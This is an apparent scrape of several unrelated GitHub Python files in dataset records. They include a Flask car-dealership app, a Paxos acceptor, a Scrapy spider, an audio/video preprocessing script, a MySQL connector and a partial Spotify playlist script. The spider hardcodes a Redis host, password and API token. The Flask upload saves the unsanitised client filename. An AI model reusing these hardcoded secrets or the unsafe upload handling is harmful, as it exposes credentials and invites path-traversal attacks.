# Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n # VARIAVEL CONTENDO A RESPOSTA SE O LOGIN ESTÁ NA TABELA FUNCIONARIO:\n fun = get_idfun(cursor, login, senha)\n\n # VARIAVEL CONTENDO A RESPOSTA SE O LOGIN ESTÁ NA TABELA ADM:\n adm = get_idadm(cursor, login, senha)\n\n if fun is None:\n if adm is None:\n # Fechar o cursor\n cursor.close()\n # Fechar a conexao\n conn.close()\n return render_template('login.html', erro='Login/Senha não cadastrado!')\n\n else:\n\n return redirect(url_for('adm'))\n\n else:\n # Fechar o cursor\n cursor.close()\n # Fechar a conexao\n conn.close()\n return render_template('funcionario.html')\n\n else:\n return render_template('index.html', erro='Método incorreto. Use POST!')\n\n\n# rota para o formulario de adição de funcionario\n@app.route('/form_func')\ndef form_func():\n return render_template('form_func.html')\n\n\n# rota que adiciona o funcionario criado e retorna para a pagina do administrador\n@app.route('/add_func', methods=['GET','POST'])\ndef add_func():\n\n novo_login = request.form.get('novo_login')\n nova_senha = request.form.get('nova_senha')\n\n # Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n # função que insere funcionario:\n add_new_func(conn, cursor, novo_login, nova_senha)\n\n return redirect(url_for('adm'))\n\n\n# rota para remover um funcionario do banco de dados\n@app.route('/deletar_func/')\ndef deletar_func(id):\n\n # Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n # função para deletar funcionarios do banco de dados:\n del_func(conn, cursor, id)\n\n return redirect(url_for('adm'))\n\n\n# rota para remover anuncio do banco de dados\n@app.route('/deletar_anun/')\ndef deletar_anun(id):\n # Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n # função para deletar funcionarios do banco de dados:\n del_anun(conn, cursor, id)\n\n return redirect(url_for('adm'))\n\n\n# rota para o formulario de alteração de dados dos funcionarios\n@app.route('/form_alter_func/')\ndef form_alter_func(id):\n\n # Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n infos = info_func(cursor, id)\n\n return render_template('form_alter_func.html', informacoes=infos)\n\n\n# rota para salvar as alterações nos dados do formulario\n@app.route('/save_alter_func', methods=['POST'])\ndef save_alter_func():\n if request.method == 'POST':\n\n # Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n updated_login = request.form.get('updated_login')\n updated_senha = request.form.get('updated_senha')\n idfuncionario = request.form.get('idfuncionario')\n\n # função de alteração de senha:\n alter_func(conn, cursor, updated_login, updated_senha, idfuncionario)\n\n # redirecionamento para a função adm da rota adm\n return redirect(url_for('adm'))\n\n else:\n # redirecionamento para a função adm da rota adm\n return redirect(url_for('adm'))\n\n\n# rota para adicionar um carro a lista de carros vips\n@app.route('/add_vip//')\ndef add_vip(id, estado):\n # Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n vip(conn, cursor, id, estado)\n\n return redirect(url_for('adm'))\n\n\n# rota para o formulario de adição de carros\n@app.route('/form_car')\ndef form_car():\n return render_template('form_car.html')\n\n\n# rota para adicionar o carro novo ao banco de dados e sua foto a pasta static\n@app.route('/add_car', methods=['GET', 'POST'])\ndef add_car():\n\n # Verificação do metodo:\n if request.method == 'POST':\n\n # Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n # conn, cursor, modelo, marca, ano, preco, vip, img\n modelo = request.form.get('modelo')\n marca = request.form.get('marca')\n ano = request.form.get('ano')\n preco = request.form.get('preco')\n vip = request.form.get('y_or_n')\n\n print(f'modelo: {modelo}, marca: {marca}, ano:{ano}, preco:{preco}, vip: {vip}')\n # verifica se tem a parte file no request\n if 'img' not in request.files:\n # print('o arquivo não foi encontrado')\n return render_template('index.html')\n\n # pega o arquivo\n arquivo = request.files['img']\n\n # se o usuario nao selecionar o arquivo\n # o browser manda um arquivo sem nome\n if arquivo.filename == '':\n # print('Arquivo sem nome')\n return render_template('index.html')\n\n else:\n # armazenando o nome do arquivo em uma variavel:\n img_name = secure_filename(arquivo.filename)\n arquivo.save(os.path.join(app.config['UPLOAD_FOLDER'], arquivo.filename))\n # print(f'O nome do arquivo é: {img_name}')\n\n # print(f'modelo: {modelo}, marca: {marca}, ano:{ano}, preco:{preco}, vip: {vip}, nome da img: {img_name}')\n add_new_car(conn, cursor, modelo, marca, ano, preco, vip, img_name)\n\n return redirect(url_for('adm'))\n\n\n# Rodando a app\nif __name__ == '__main__':\n app.run(debug=True)\n\n\n","repo_name":"RodrigoCh99/web_app_concessionaria","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6991,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"43552531434","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom yahoo_fin import options\n\ndef GetDates(ticker):\n exp_dates = options.get_expiration_dates(ticker)\n return pd.DataFrame(exp_dates)\n\ndef GetDate(df, idx):\n return df.iloc[idx].values[0]\n\ndef GetChain(ticker, dates, idx, type='calls'):\n chain = options.get_options_chain(ticker, GetDate(dates, idx))\n return chain[type]\n\ndef GetPrice(ticker, date, strike, type='calls'):\n chain = options.get_options_chain(ticker, date)[type]\n return (float)(chain[chain['Strike']==strike]['Last Price'])\n\ndef OptAnalysis(tbl, target_prices):\n tabl = tbl\n for tp in target_prices:\n tabl[tp] = -tabl['Idm'].subtract(tp) \n tabl[tp][tabl[tp]<0] = 0\n for tp in target_prices:\n tabl[str(tp)+'%'] = round(tabl[tp]/tabl['Premium']*100).astype(int)\n return tabl\n\ndef PlotAnalysis(tbl, n=0):\n if n==0: \n tabl= tbl\n else:\n tabl=tbl.head(n)\n \n\n\nif __name__ == '__main__':\n print('Options\\n')","repo_name":"miltonluaces/trading","sub_path":"utils/Options.py","file_name":"Options.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70662330923","text":"from .process import Process\nfrom .message import AcceptRequestMessage, PrepareRequestMessage, \\\n PromiseResponseMessage, NackResponseMessage\n\n\nclass Acceptor(Process):\n \"\"\"\n Implementation of the Acceptor in the adapted Simple Paxos protocol.\n\n Attributes:\n :state current state of the Acceptor\n :id id of the Acceptor\n :env environment this Acceptor is running in\n \"\"\"\n\n def __init__(self, env, id):\n Process.__init__(self, env, id)\n self.state = (\"AInit\",)\n self.env = env\n self.env.add_proc(self)\n self.id = id\n\n def send_promise_resp(self, to):\n p_no, p_val = self.state[1]\n self.send_msg(to, PromiseResponseMessage(self.id, (p_no, p_val)))\n\n def send_nack_resp(self, to):\n self.send_msg(to, NackResponseMessage(self.id))\n\n def body(self):\n while True:\n msg = self.get_next_msg()\n p_no, p_val = msg.proposal\n\n if isinstance(msg, PrepareRequestMessage):\n if self.state[0] == \"AInit\":\n self.state = (\"APromised\", msg.proposal)\n self.send_promise_resp(p_no)\n elif self.state[0] == \"APromised\":\n promised_no, _ = self.state[1]\n if p_val < promised_no:\n self.send_nack_resp(p_no)\n else:\n self.state = (\"APromised\", msg.proposal)\n self.send_promise_resp(p_no)\n else:\n self.send_nack_resp(p_no)\n elif isinstance(msg, AcceptRequestMessage):\n if self.state[0] == \"AInit\":\n self.state = (\"AAccepted\", msg.proposal)\n else:\n promised_no, _ = self.state[1]\n if p_val >= promised_no:\n self.state = (\"AAccepted\", msg.proposal)\n print(\"Node %d has state %s\" % (self.id, self.state))\n","repo_name":"anirudhpillai/paxos","sub_path":"simulator/paxos/acceptor.py","file_name":"acceptor.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"29956566578","text":"import scrapy\nfrom scrapy import Selector\nfrom scrapy.http import Request,Response\nimport requests\nimport json\nimport redis\n\n\nclass AllXinliangSpider(scrapy.Spider):\n # 执行名称\n \"\"\"其实数据\"\"\"\n name = 'company_not_respect'\n\n # 其实地址\n def __init__(self, name=None, **kwargs):\n super().__init__(name=None, **kwargs)\n self.big_url = 'http://jzsc.mohurd.gov.cn'\n # 起始url\n # form表单url\n self.url = 'http://jzsc.mohurd.gov.cn/dataservice/query/comp/list'\n # token\n self.token = 'uBgLy2zN88aTokllUWlyEZ2l6AK2k2dn'\n # 本公司接口\n # self.tongnie = 'http://192.168.199.188:8080/web/rest/companyInfo/addCompanyUnCredit.htm'\n self.tongnie = 'https://api.maotouin.com/rest/companyInfo/addCompanyUnCredit.htm'\n # 提交form数据\n self.corporate_name = '农安县龙华建筑工程有限公司'\n # 链接redis\n pool = redis.ConnectionPool(host='106.12.112.205', password='tongna888')\n self.r = redis.Redis(connection_pool=pool)\n\n def start_requests(self):\n have_company = self.r.scard('company_respect')\n action = True\n if have_company is 0:\n action = False\n while action:\n company_name = self.r.spop('company_respect')\n\n return [scrapy.FormRequest(self.url,\n formdata={'qy_name': company_name},\n callback=self.parse,\n meta={'company_name': company_name}\n )\n ]\n\n # 公司选择\n def parse(self, response):\n # 进入当前公司\n \"\"\"选择公司\"\"\"\n corporate_url = Selector(response=response).xpath('//td[@class=\"text-left primary\"]/a/@href').extract_first()\n if corporate_url is not None:\n url = self.big_url + corporate_url\n return Request(url=url, callback=self.detailed_information,\n meta={'company_name': response.meta['company_name']})\n print('对不起没找到当前公司')\n self.r.sadd(response.meta['company_name'], 'company_not_respect')\n\n # 企业基本内容---\n def detailed_information(self, response):\n \"\"\"发送公司基本信息\"\"\"\n another_url = Selector(response=response).\\\n xpath('//ul[@class=\"tinyTab datas_tabs\"]/li[7]/a/@data-url').extract_first()\n another_url = self.big_url + another_url\n return Request(url=another_url, callback=self.record_dishonesty,\n meta={'company_name': response.meta['company_name']})\n\n # 失信联合惩戒记录\n def record_dishonesty(self, response):\n \"\"\"失信联合惩戒记录\"\"\"\n print('失信联合惩戒记录------- ')\n content = Selector(response=response).xpath('//tbody/tr')\n if not content.xpath('./td/text()').extract_first() == \"暂未查询到已登记入库信息\":\n print(content)\n for c in content:\n td = c.xpath('./td')\n not_good = {}\n for t in td:\n # print(t)\n h = t.xpath('@data-header').extract_first()\n h = h.split()[0]\n if h == \"失信联合惩戒记录编号\":\n d = t.xpath('./span/text()').extract_first()\n d = d.split()[0]\n not_good['unCreditNum'] = d\n elif h == \"失信联合惩戒记录主体\":\n d = t.xpath('./a/text()').extract_first()\n d = d.split()[0]\n not_good['companyName'] = d\n elif h == \"法人姓名\":\n d = t.xpath('./div/span/text()').extract_first()\n d2 = t.xpath('text()')[1].extract()\n d = d.split()[0]\n d2 = d2.split()[0]\n not_good['legalMan'] = d\n not_good['legalManIDCard'] = d2\n elif h == \"列入名单事由\":\n div = t.xpath('text()')[1].extract()\n div = div.split()[0]\n a = t.xpath('./div/a/@data-text').extract_first()\n a = a.split()[0]\n span = t.xpath('./div/span/text()').extract_first()\n span = span.split(':')[1]\n d = div + a + span\n not_good['reason'] = div\n not_good['fileContent'] = a\n not_good['fileNum'] = span\n elif h == \"认定部门\":\n d = t.xpath('text()').extract_first()\n d = d.split()[0]\n not_good['departName'] = d\n elif h == \"列入日期\":\n d = t.xpath('text()').extract_first()\n not_good['beginDate'] = d\n not_good['token'] = self.token\n print(not_good, '发送的数据')\n yield Request(url=self.tongnie, method=\"POST\", body=json.dumps(not_good),\n headers={'Content-Type': 'application/json'}, callback=self.zz)\n else:\n self.r.sadd(response.meta['company_name'], 'without_search_respect_company')\n print('--没有--', response.meta['company_name'], '这个相关的记录')\n # yield Request()\n\n # 服务器收到后回复\n def zz(self, response):\n \"\"\"企业发送信息回应\"\"\"\n print(response.text)","repo_name":"xiangbei1997/Spider_All","sub_path":"scrapy_zizhiname/zizhiname/zizhiname/spiders/company_not_respect.py","file_name":"company_not_respect.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28901941320","text":"import sys\r\nimport os\r\nimport subprocess\r\nimport pickle\r\nimport csv\r\nimport utils\r\nimport numpy as np\r\nimport scipy.io.wavfile as wav\r\nfrom python_speech_features import mfcc\r\nimport argparse\r\nparser = argparse.ArgumentParser(\"data-process\")\r\nparser.add_argument('--vidio_dir', type=str)\r\nparser.add_argument('--openface_dir', type=str)\r\nparser.add_argument('--save_dir', type=str)\r\nargs = parser.parse_args()\r\n\r\n\r\nclass VideoFrame():\r\n def __init__(self,FFrame,AFrame,FacePath):\r\n self.FL = FFrame\r\n self.FacePath = FacePath\r\n self.MFCC = AFrame\r\n\r\nclass AudioProcessor():\r\n def __init__(self,videoDirPath):\r\n self.videoDirPath = videoDirPath\r\n self.ExpertDir,self.NoviceDir = self.sortByIDListIDFiles(self.videoDirPath,'mp4')\r\n self.MFCC = None\r\n\r\n\r\n def sortByIDListIDFiles(self,rootPath,suffix=None):\r\n assert suffix,\"suffix can't be None\"\r\n expert = []\r\n novice = []\r\n listIDsPath = os.listdir(rootPath)\r\n listIDsPath.sort()\r\n for ID in listIDsPath:\r\n if os.path.isdir(os.path.join(rootPath,ID)):\r\n for file in os.listdir(os.path.join(rootPath,ID)):\r\n if file == 'Expert_video.'+suffix:\r\n expert.append(os.path.join(rootPath,ID,file))\r\n elif file == 'Novice_video.'+suffix:\r\n novice.append(os.path.join(rootPath,ID,file))\r\n else:\r\n pass\r\n assert len(expert)==len(novice),\"num of experts should be same as novices\"\r\n return expert,novice\r\n\r\n def extractSaveRawAudio(self,saveDir):\r\n if not os.path.exists(saveDir):\r\n os.makedirs(saveDir)\r\n for i in range(len(self.ExpertDir)):\r\n saveIDDir = os.path.join(saveDir,self.ExpertDir[i].split('/')[-2])\r\n if not os.path.exists(saveIDDir):\r\n os.mkdir(saveIDDir)\r\n cmdLine = 'ffmpeg -i %s -vn -ac 1 -ar 48000 %s'%(self.ExpertDir[i],os.path.join(saveIDDir,self.ExpertDir[i].split('/')[-1]).replace('mp4','wav'))\r\n subprocess.run(cmdLine,shell=True)\r\n cmdLine = 'ffmpeg -i %s -vn -ac 1 -ar 48000 %s'%(self.NoviceDir[i],os.path.join(saveIDDir,self.NoviceDir[i].split('/')[-1]).replace('mp4','wav'))\r\n subprocess.run(cmdLine,shell=True)\r\n print(i,end=' ')\r\n\r\n def extractSaveMFCC(self,AudioDir):\r\n def getMFCC(sourcePath):\r\n (rate,sig) = wav.read(sourcePath)\r\n result = mfcc(sig,rate,winlen=0.04,winstep=0.04,numcep=128,nfilt=256,nfft=int(rate*0.04))\r\n return result\r\n ExpertAudioDir,NoviceAudioDir = self.sortByIDListIDFiles(AudioDir,'wav')\r\n MFCCPool = [ [None,None] for i in range(len(ExpertAudioDir))]\r\n for i in range(len(ExpertAudioDir)):\r\n MFCCPool[i][0] = getMFCC(ExpertAudioDir[i])\r\n MFCCPool[i][1] = getMFCC(NoviceAudioDir[i])\r\n print(i,end = ' ')\r\n self.MFCC = MFCCPool\r\n\r\n def getMFCC(self,rawAudioSavePath,MFCCSavePath):\r\n print(\"extract audio from %s and save .wav at %s\"%(self.videoDirPath,rawAudioSavePath))\r\n self.extractSaveRawAudio(rawAudioSavePath)\r\n self.extractSaveMFCC(MFCCSavePath)\r\n\r\nclass VideoProcessor():\r\n def __init__(self,openfaceDirPath,audios=None):\r\n self.openfaceDirPath = openfaceDirPath\r\n self.faceLms = None\r\n self.faceImgPaths = None\r\n self.audios = audios\r\n self.videoFrames = None\r\n assert audios,\"audio can't be None\"\r\n self.readOpenfaceCSV()\r\n self.listFaceImgPaths()\r\n\r\n\r\n def sortByIDListIDFiles(self,rootPath,suffix=None):\r\n assert suffix,\"suffix can't be None\"\r\n expert = []\r\n novice = []\r\n listIDsPath = os.listdir(rootPath)\r\n listIDsPath.sort()\r\n for ID in listIDsPath:\r\n if os.path.isdir(os.path.join(rootPath,ID)):\r\n for file in os.listdir(os.path.join(rootPath,ID)):\r\n if file == 'Expert_video.'+suffix:\r\n expert.append(os.path.join(rootPath,ID,file))\r\n elif file == 'Novice_video.'+suffix:\r\n novice.append(os.path.join(rootPath,ID,file))\r\n else:\r\n pass\r\n assert len(expert)==len(novice),\"num of experts should be same as novices\"\r\n return expert,novice\r\n\r\n def readOpenfaceCSV(self):\r\n def SplitCsv(csvList):\r\n Flmark=[]\r\n for i in range(len(csvList)):\r\n print(i,end=' ')\r\n csvFile = open(csvList[i])\r\n reader = csv.reader(csvFile)\r\n frame = []\r\n for item in reader:\r\n # if reader.line_num == 1 or int(item[4])==0:\r\n if reader.line_num == 1:\r\n continue\r\n frame.append([[float(item[j]),float(item[j+68])] for j in range(5,5+68)])\r\n Flmark.append(np.array(frame))\r\n csvFile.close()\r\n return Flmark\r\n expert,novice = self.sortByIDListIDFiles(self.openfaceDirPath,'csv')\r\n FlmarkExpert = SplitCsv(expert)\r\n FlmarkNovice = SplitCsv(novice)\r\n self.faceLms = [[seq1,seq2] for seq1,seq2 in zip(FlmarkExpert,FlmarkNovice)]\r\n\r\n def listFaceImgPaths(self):\r\n expert = []\r\n novice = []\r\n listDirDirPath = os.listdir(self.openfaceDirPath)\r\n listDirDirPath.sort()\r\n for talk in listDirDirPath:\r\n if os.path.isdir(os.path.join(self.openfaceDirPath,talk)):\r\n for file in os.listdir(os.path.join(self.openfaceDirPath,talk)):\r\n if file == 'Expert_video_aligned':\r\n expert.append(os.path.join(talk,file))\r\n elif file == 'Novice_video_aligned':\r\n novice.append(os.path.join(talk,file))\r\n else:\r\n pass\r\n assert len(expert)==len(novice)\r\n self.faceImgPaths = [[path1,path2] for path1,path2 in zip(expert,novice)]\r\n\r\n def package_video(self):\r\n self.readOpenfaceCSV()\r\n self.listFaceImgPaths()\r\n VideoPool = [ [None,None] for i in range(len(self.faceLms))]\r\n print(\"------package video into video Frames witch contians : FaceLandMarks, FaceImagePath, MFCC\")\r\n for i in range(len(VideoPool)):\r\n print(i)\r\n #先处理一下Expert\r\n print('delta length of Novice video and audio: ',self.faceLms[i][0].shape[0]-len(self.audios[i][0]))\r\n videoLen = min(self.faceLms[i][0].shape[0],len(self.audios[i][0]))\r\n VideoPool[i][0] = [VideoFrame(self.faceLms[i][0][index],self.audios[i][0][index],os.path.join(self.faceImgPaths[i][0],'frame_det_00_'+str(index+1).zfill(6)+'.bmp')) for index in range(videoLen)]\r\n #再处理一下Novice\r\n print('delta length of Expert video and audio: ',self.faceLms[i][1].shape[0]-len(self.audios[i][1]))\r\n videoLen = min(self.faceLms[i][1].shape[0],len(self.audios[i][1]))\r\n VideoPool[i][1] = [VideoFrame(self.faceLms[i][1][index],self.audios[i][1][index],os.path.join(self.faceImgPaths[i][1],'frame_det_00_'+str(index+1).zfill(6)+'.bmp')) for index in range(videoLen)]\r\n self.videoFrames = VideoPool\r\n\r\n print(\"------make sure Novice and Expert Frames have same length\")\r\n for i in range(len(self.videoFrames)):\r\n print(i,' ','delta length of Novice and Expert: ',len(self.videoFrames[i][0])-len(self.videoFrames[i][1]))\r\n videoLen = min(len(self.videoFrames[i][0]),len(self.videoFrames[i][1]))\r\n self.videoFrames[i][0] = self.videoFrames[i][0][:videoLen]\r\n self.videoFrames[i][1] = self.videoFrames[i][1][:videoLen]\r\n\r\n def remove_bad_frames(self):\r\n def findBadIndex(expert,novice):\r\n badFrameIndex = []\r\n for i,(csv1,csv2) in enumerate(zip(expert,novice)):\r\n badFrameIndexTemp = []\r\n print(i,end=' ')\r\n csvFile = open(csv1)\r\n reader = csv.reader(csvFile)\r\n for item in reader:\r\n if reader.line_num == 1:\r\n continue\r\n if int(item[4])==0:\r\n badFrameIndexTemp.append(reader.line_num-2)\r\n csvFile.close()\r\n csvFile = open(csv2)\r\n reader = csv.reader(csvFile)\r\n for item in reader:\r\n if reader.line_num == 1:\r\n continue\r\n if int(item[4])==0:\r\n badFrameIndexTemp.append(reader.line_num-2)\r\n csvFile.close()\r\n badFrameIndex.append(badFrameIndexTemp)\r\n return badFrameIndex\r\n print(\"------removing failed detected frames\")\r\n expert,novice = self.sortByIDListIDFiles(self.openfaceDirPath,'csv')\r\n badFrameIndex = findBadIndex(expert,novice)\r\n for i in range(len(expert)):\r\n tempEx = []\r\n tempNo = []\r\n for index in range(len(self.videoFrames[i][0])):\r\n if index in badFrameIndex[i]:\r\n print(index,end = '- ')\r\n continue\r\n tempEx.append(self.videoFrames[i][0][index])\r\n tempNo.append(self.videoFrames[i][1][index])\r\n self.videoFrames[i][0] = tempEx\r\n self.videoFrames[i][1] = tempNo\r\n\r\n def FaceAlign(self):\r\n print('------align face landmark')\r\n f1 = open('./trainMeanFace','rb')\r\n meanFrame = pickle.load(f1)\r\n meanFrame = np.array(meanFrame)\r\n meanFrame = meanFrame.reshape(-1,136).mean(0).reshape(68,2)\r\n f1.close()\r\n t_shape_idx = (27, 28, 29, 30, 33, 36, 39, 42, 45)\r\n meanShape = meanFrame[t_shape_idx,:]\r\n for i in range(len(self.videoFrames)):\r\n print(i,end=' ')\r\n for index,frame in enumerate(self.videoFrames[i][0]):\r\n tempShape = frame.FL[t_shape_idx,:]\r\n T, distance, itr = utils.icp(tempShape, meanShape)\r\n rot_mat = T[:2, :2]\r\n trans_mat = T[:2, 2:3]\r\n self.videoFrames[i][0][index].FL = np.dot(rot_mat, frame.FL.T).T + trans_mat.T\r\n for index,frame in enumerate(self.videoFrames[i][1]):\r\n tempShape = frame.FL[t_shape_idx,:]\r\n T, distance, itr = utils.icp(tempShape, meanShape)\r\n rot_mat = T[:2, :2]\r\n trans_mat = T[:2, 2:3]\r\n self.videoFrames[i][1][index].FL = np.dot(rot_mat, frame.FL.T).T + trans_mat.T\r\n print('------normalize face landmark and MFCC')\r\n FLPool = [ [None,None] for i in range(len(self.videoFrames))]\r\n for i in range(len(self.videoFrames)):\r\n temp = [frame.FL for frame in self.videoFrames[i][0]]\r\n temp = np.array(temp)\r\n FLPool[i][0] = temp\r\n temp = [frame.FL for frame in self.videoFrames[i][1]]\r\n temp = np.array(temp)\r\n FLPool[i][1] = temp\r\n\r\n for i in range(len(self.videoFrames)):\r\n print(i,end=' ')\r\n MAX = FLPool[i][0].max()\r\n MIN = FLPool[i][0].min()\r\n FLPool[i][0] = (FLPool[i][0]-MIN)/(MAX-MIN)\r\n print(MAX-MIN,end=' ')\r\n MAX = FLPool[i][1].max()\r\n MIN = FLPool[i][1].min()\r\n FLPool[i][1] = (FLPool[i][1]-MIN)/(MAX-MIN)\r\n print(MAX-MIN)\r\n\r\n\r\n for i in range(len(self.videoFrames)):\r\n for index in range(len(self.videoFrames[i][0])):\r\n self.videoFrames[i][0][index].FL = FLPool[i][0][index]\r\n self.videoFrames[i][1][index].FL = FLPool[i][1][index]\r\n\r\n MFPool = [ [None,None] for i in range(84)]\r\n for i in range(len(self.videoFrames)):\r\n temp = [frame.MFCC for frame in self.videoFrames[i][0]]\r\n temp = np.array(temp)\r\n MFPool[i][0] = temp\r\n temp = [frame.MFCC for frame in self.videoFrames[i][1]]\r\n temp = np.array(temp)\r\n MFPool[i][1] = temp\r\n\r\n for i in range(len(self.videoFrames)):\r\n print(i,end=' ')\r\n MAX = MFPool[i][0].max()\r\n MIN = MFPool[i][0].min()\r\n MFPool[i][0] = (MFPool[i][0]-MIN)/(MAX-MIN)\r\n MAX = MFPool[i][1].max()\r\n MIN = MFPool[i][1].min()\r\n MFPool[i][1] = (MFPool[i][1]-MIN)/(MAX-MIN)\r\n\r\n for i in range(len(self.videoFrames)):\r\n for index in range(len(self.videoFrames[i][0])):\r\n self.videoFrames[i][0][index].MFCC = MFPool[i][0][index]\r\n self.videoFrames[i][1][index].MFCC = MFPool[i][1][index]\r\n\r\n\r\n\r\n def _getSaveFrames(self,dir):\r\n print('------saving videoFrames to %s'%(dir))\r\n if not os.path.exists(dir):\r\n os.makedirs(dir)\r\n for i in range(len(self.videoFrames)):\r\n currySaveDir = os.path.join(dir,str(i))\r\n f1 = open(currySaveDir,'wb')\r\n pickle.dump(self.videoFrames[i],f1)\r\n f1.close()\r\n\r\n def getSaveFrames(self,save_dir=None):\r\n assert save_dir,\"save_dir can't be None\"\r\n self.package_video()\r\n self.remove_bad_frames()\r\n self.FaceAlign()\r\n self._getSaveFrames(save_dir)\r\n\r\n\r\nif __name__ == '__main__':\r\n ap = AudioProcessor(args.vidio_dir)\r\n ap.getMFCC(args.save_dir,args.save_dir)\r\n vp = VideoProcessor(args.openface_dir,ap.MFCC)\r\n vp.getSaveFrames(args.save_dir)","repo_name":"SSYSteve/Learning-Graph-Representation-of-Person-specific-Cognitive-Processes-from-Audio-visual-Behaviours-fo","sub_path":"Data/process_noxi_data.py","file_name":"process_noxi_data.py","file_ext":"py","file_size_in_byte":13660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"9792595657","text":"# # Декораторы\n#\n# from datetime import datetime\n#\n# def time_it(name):\n# print('Name:', name)\n# def outer(function):\n# def inner(*args):\n# start = datetime.now()\n# result = function(*args)\n# print(datetime.now() - start)\n# return result\n# return inner\n# return outer\n#\n# @time_it('generator_1')\n# def generator_1(num):\n# lst = []\n# for i in range(num):\n# if i % 2 == 0:\n# lst.append(i)\n# return lst\n#\n# # по сути равнозначные варианты, но первый достаточен:\n# # l1 = generator_1(10**4)\n# # print(l1)\n#\n# # l2 = time_it(generator_1)(10**4)\n# # print(l2)\n#\n# w = time_it('generator_1')(generator_1)(100)\n# print(w)\n\n\n# MySQL\n\nimport yaml\nimport mysql.connector as connector\n\nclass MyConnector:\n def __init__(self, connection_name):\n try:\n with open('db_params.yaml') as file:\n params = yaml.safe_load(file)\n params_name = params[connection_name]\n self._url = str(params_name['url'])\n self._port = str(params_name['port'])\n self._db = str(params_name['database'])\n self._user = str(params_name['user'])\n self._password = str(params_name['password'])\n except yaml.YAMLError as ex:\n print('ERROR {}'.format(ex))\n except KeyError as ex:\n print('ERROR {}'.format(ex))\n\n self._connection = None\n self._cursor = None\n self._connection_name = None\n self._connection_type = ''\n\n def __run_script(self, script):\n self._cursor.execute(script)\n\n def select(self, script):\n try:\n self.__run_script(script)\n return self._cursor.fetchall()\n except Exception as ex:\n print('ERROR {}'.format(ex))\n return None\n\n def create(self, script):\n try:\n self.__run_script(script)\n except Exception as ex:\n print('ERROR {}'.format(ex))\n\n def insert(self, script):\n try:\n self.__run_script(script)\n except Exception as ex:\n print('ERROR {}'.format(ex))\n\n def update(self, script):\n try:\n self.__run_script(script)\n except Exception as ex:\n print('ERROR {}'.format(ex))\n\n def exec(self, script):\n try:\n self.__run_script(script)\n except Exception as ex:\n print('ERROR {}'.format(ex))\n\n def call(self, proc_name, args):\n try:\n if args is None or len(args) == 0:\n self._cursor.callproc(proc_name)\n else:\n self._cursor.callproc(proc_name, args)\n except Exception as ex:\n print('ERROR {}'.format(ex))\n\n def close(self):\n self._cursor.close()\n self._cursor = None\n self._connection.close()\n self._connection = None\n print('Connection was closed')\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n\nclass MySqlConnector(MyConnector):\n def __init__(self, connection_name):\n super(MySqlConnector, self).__init__(connection_name)\n def open(self):\n try:\n self._connection = connector.connect(\n user = self._user,\n password = self._password,\n host = self._url\n )\n self._connection.autocommit = True\n self._cursor = self._connection.cursor()\n self._connection_type = 'MySQL'\n print('Connection was open')\n except Exception as ex:\n print('ERROR {}'.format(ex))\n print('Connection wasn\\'t open')\n\n def __enter__(self):\n self.open()\n return self","repo_name":"sergelemon/python_training","sub_path":"task16_0.py","file_name":"task16_0.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"43516985867","text":"from typing import List\n\n\nclass Solution: # Fast python solution\n def search(self, nums: List[int], target: int) -> int:\n return nums.index(target) if target in nums else -1\n\n\nclass Solution2: # Real solution\n def search(self, nums: List[int], target: int) -> int:\n left, right = 0, len(nums)\n while left < right:\n mid = (left + right) // 2\n if target < nums[0] < nums[mid]:\n left = mid + 1\n elif target >= nums[0] > nums[mid]:\n right = mid\n elif nums[mid] < target:\n left = mid + 1\n elif nums[mid] > target:\n right = mid\n else:\n return mid\n return -1\n\n\nnums = [4, 5, 6, 7, 0, 1, 2]\ntarget = 0\nresult = Solution().search(nums, target)\nprint(result)\n","repo_name":"nazarovlex/leetcode","sub_path":"Medium/33. Search in Rotated Sorted Array.py","file_name":"33. Search in Rotated Sorted Array.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15480199768","text":"\nimport requests\nimport json\nimport datetime\nimport sqlite3\n\nimport aiohttp\nimport asyncio\n\nfrom dataclasses import dataclass\n@dataclass\nclass Credentials:\n '''access to essential information of user'''\n id: str\n display_name: str\n avatar: str\n\ndef make_playlist(auth:str, name: str, length: int):\n \n months_of_the_year = ['January', 'February', 'March','April','May','June','July','August','September','October','November','December']\n \n\n #constant headers for all required requests\n headers_const = {\n \"Content-Type\":\"application/json\",\n \"Authorization\": f\"Bearer {auth.get('access_token')}\",\n \"Host\": \"api.spotify.com\"\n }\n user = requests.get('https://api.spotify.com/v1/me', headers = headers_const )\n #yoink the username and id for playlist creation\n \n username = json.loads(user.text).get('display_name')\n userid = json.loads(user.text).get('id')\n \n #get users top songs\n songs = requests.get('https://api.spotify.com/v1/me/top/tracks', headers = headers_const, params = {\n 'limit':length or 30,\n 'offset':0,\n 'time_range':'short_term'\n })\n \n uris = []\n for song in json.loads(songs.text).get('items'):\n uris.append(song.get('uri'))\n\n\n #creates a new playlist\n new_playlist = requests.post(f'https://api.spotify.com/v1/users/{userid}/playlists', headers = headers_const, data=json.dumps({\n 'name': name or f\"{username}'s favourite songs of {months_of_the_year[datetime.datetime.today().month-1]} {datetime.datetime.today().year}\",\n 